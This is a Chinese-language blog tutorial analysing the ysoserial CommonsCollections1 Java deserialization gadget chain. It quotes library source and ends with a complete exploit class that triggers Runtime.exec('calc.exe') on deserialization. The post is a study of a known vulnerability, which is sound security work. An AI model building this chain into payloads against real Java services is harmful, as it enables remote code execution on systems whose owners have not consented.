ysoserial CommonsCollections1

来源:https://www.cnblogs.com/vpandaxjl/archive/2022/10/05/16756411.html
-Advertisement-
Play Games

Lambda 表達式(lambda expression)是一個匿名函數,Lambda表達式基於數學中的λ演算得名,直接對應於其中的lambda抽象(lambda abstraction),即沒有函數名的函數。Lambda表達式可以表示閉包(註意和數學傳統意義上的不同)。 ...


/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */

0、先假設Runtime類可序列化,最終要實現:

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

1、從最後一步開始,調用InvokerTransformer.transform()

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
 

transform方法實現了完整的反射,通過InvokerTransformer構造方法傳入方法和參數。

所以這一步的利用鏈

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

2、InvokerTransformer的transform的調用,在ChainedTransformer的transform實現。

public ChainedTransformer(Transformer[] transformers) {
  super();
  iTransformers = transformers;
}
public Object transform(Object object) {
  for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
  }
  return object;
}

如果Transformer[]裡面的對象是:

Transformer[0]:new ConstantTransformer(runtime)
Transformer[1]:invokerTransformer

第一次迴圈:(new ConstantTransformer(runtime)).transform() runtime對象返回給object
第二次迴圈:invokerTransformer.transform(runtime)

所以這一步的利用鏈:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);

3、ChainedTransformer的transform誰來調?LazyMap的get方法存在transform調用(key不存在的時候)。

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }


    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(map);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }

    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}

通過decorate方法,修改this.factory為chainedTransformer對象,最後通過get不存在的key調用chainedTransformer的transform
所以利用鏈
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);

4、lazyMap的get誰來調用?這裡面用的AnnotationInvocationHandler的invoke,該方法存在某個屬性的get,屬性可通過構造方法改變。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

    /**
     * This method, which clones its array argument, would not be necessary
     * if Cloneable had a public clone method.
     */

因為AnnotationInvocationHandler類非public,通過反射調用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
對象初始化memberValues,得到對象handler,接下來就是讓handler對象執行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

proxyMap已經有了,那麼應該怎麼觸發handler執行方法,來調用invoke方法
AnnotationInvocationHandler的readobject方法,存在對memberValues執行entrySet()
所以用proxyMap對象重新生成一個AnnotationInvocationHandler對象
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle

以下是AnnotationInvocationHandler的readobject重寫

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

最後AnnotationInvocationHandler對象反序列化,執行readobject也就觸發了proxyMap的invoke方法

要解決的問題:Runtime類未實現Serializable,需要使用反射調用,反射方法用什麼來觸發執行?

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

反射方式實現:
Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");

反射方法通過InvokerTransformer實現
Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);

ChainedTransformer中的transform正好實現了這組鏈的調用

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

所以最後runtime的實現利用鏈:

Transformer[] transformers = {
  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);

最終實現的利用鏈:

public class CC1Test3 {
    public static void main(String[] args) throws Exception {

        Class cr = Class.forName("java.lang.Runtime");

        Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
        objectOutputStream.writeObject(handle);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
        objectInputStream.readObject();
    }
}

 


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 本篇總結學習 C++ 時常用的幾個網站,點擊會跳轉到相應網頁。 一、CPP 基礎知識參考鏈接 1. C++ 參考手冊 鏈接(英文):https://en.cppreference.com/ 鏈接(中文):https://zh.cppreference.com/ 2. CPlusPlus 鏈接:htt ...
  • 自動代碼 常用的有fori/sout/psvm+Tab即可生成迴圈、System.out、main方法等boilerplate樣板代碼 。 例如要輸入for(User user : users) 只需輸入user.for+Tab 再比如,要輸入Date birthday = user.getBirt ...
  • 2022-10-04 測試json數據與Django項目與pycharm連接,在“postman”軟體中。“postman”是一個介面測試軟體。下載方式問度娘。 (1)在“postman”中設置“json”連接請求 設置的順序:設置與pycharm中Django項目建立連接的“URL”路由,之後在左 ...
  • Tracert 命令跟蹤路由原理是IP路由每經過一個路由節點TTL值會減一,假設TTL值=0時數據包還沒有到達目標主機,那麼該路由則會回覆給目標主機一個數據包不可達,由此我們就可以獲取到目標主機的IP地址,如下我們通過scapy構造一個路由追蹤工具並實現一次追蹤。 ...
  • Spring @Transactional註解isolation屬性 @Transactional註解通過isolation屬性設置事務隔離級別。如下: @Transactional(isolation=Isolation.DEFAULT) public void method(){} isolat ...
  • 有時候,我們明明在類或者方法上添加了@Transactional註解,卻發現方法並沒有按事務處理。其實,以下場景會導致事務失效。 1、事務方法所在的類沒有載入到Spring IOC容器中。 @Transactional是Spring的註解,未被Spring管理的類中的方法不受@Transaction ...
  • Spring事務(二)-事務傳播行為 在Spring里,一個事務方法被另外一個事務方法調用時,兩個方法的事務應該如何進行,說白話一點,就是說當出現異常需要回滾時,各個方法的數據操作是否要全部回滾,事務傳播行為就是決定了這樣的一個處理結果。A事務方法(外部方法)調用了B事務方法(內部方法,又叫被調用方 ...
  • java.util.concurrent包中的大多數同步器實現都是圍繞著共同的基礎行為,比如等待隊列、條件隊列、獨占獲取、共用獲取等,而這些行為的抽象就是基於AbstractQueuedSynchronizer(簡稱AQS)實現的,AQS是一個抽象同步框架,可以用來實現一個依賴狀態的同步器 ...
一周排行
    -Advertisement-
    Play Games
  • GoF之工廠模式 @目錄GoF之工廠模式每博一文案1. 簡單說明“23種設計模式”1.2 介紹工廠模式的三種形態1.3 簡單工廠模式(靜態工廠模式)1.3.1 簡單工廠模式的優缺點:1.4 工廠方法模式1.4.1 工廠方法模式的優缺點:1.5 抽象工廠模式1.6 抽象工廠模式的優缺點:2. 總結:3 ...
  • 新改進提供的Taurus Rpc 功能,可以簡化微服務間的調用,同時可以不用再手動輸出模塊名稱,或調用路徑,包括負載均衡,這一切,由框架實現並提供了。新的Taurus Rpc 功能,將使得服務間的調用,更加輕鬆、簡約、高效。 ...
  • 本章將和大家分享ES的數據同步方案和ES集群相關知識。廢話不多說,下麵我們直接進入主題。 一、ES數據同步 1、數據同步問題 Elasticsearch中的酒店數據來自於mysql資料庫,因此mysql數據發生改變時,Elasticsearch也必須跟著改變,這個就是Elasticsearch與my ...
  • 引言 在我們之前的文章中介紹過使用Bogus生成模擬測試數據,今天來講解一下功能更加強大自動生成測試數據的工具的庫"AutoFixture"。 什麼是AutoFixture? AutoFixture 是一個針對 .NET 的開源庫,旨在最大程度地減少單元測試中的“安排(Arrange)”階段,以提高 ...
  • 經過前面幾個部分學習,相信學過的同學已經能夠掌握 .NET Emit 這種中間語言,並能使得它來編寫一些應用,以提高程式的性能。隨著 IL 指令篇的結束,本系列也已經接近尾聲,在這接近結束的最後,會提供幾個可供直接使用的示例,以供大伙分析或使用在項目中。 ...
  • 當從不同來源導入Excel數據時,可能存在重覆的記錄。為了確保數據的準確性,通常需要刪除這些重覆的行。手動查找並刪除可能會非常耗費時間,而通過編程腳本則可以實現在短時間內處理大量數據。本文將提供一個使用C# 快速查找並刪除Excel重覆項的免費解決方案。 以下是實現步驟: 1. 首先安裝免費.NET ...
  • C++ 異常處理 C++ 異常處理機制允許程式在運行時處理錯誤或意外情況。它提供了捕獲和處理錯誤的一種結構化方式,使程式更加健壯和可靠。 異常處理的基本概念: 異常: 程式在運行時發生的錯誤或意外情況。 拋出異常: 使用 throw 關鍵字將異常傳遞給調用堆棧。 捕獲異常: 使用 try-catch ...
  • 優秀且經驗豐富的Java開發人員的特征之一是對API的廣泛瞭解,包括JDK和第三方庫。 我花了很多時間來學習API,尤其是在閱讀了Effective Java 3rd Edition之後 ,Joshua Bloch建議在Java 3rd Edition中使用現有的API進行開發,而不是為常見的東西編 ...
  • 框架 · 使用laravel框架,原因:tp的框架路由和orm沒有laravel好用 · 使用強制路由,方便介面多時,分多版本,分文件夾等操作 介面 · 介面開發註意欄位類型,欄位是int,查詢成功失敗都要返回int(對接java等強類型語言方便) · 查詢介面用GET、其他用POST 代碼 · 所 ...
  • 正文 下午找企業的人去鎮上做貸後。 車上聽同事跟那個司機對罵,火星子都快出來了。司機跟那同事更熟一些,連我在內一共就三個人,同事那一手指桑罵槐給我都聽愣了。司機也是老社會人了,馬上聽出來了,為那個無辜的企業經辦人辯護,實際上是為自己辯護。 “這個事情你不能怪企業。”“但他們總不能讓銀行的人全權負責, ...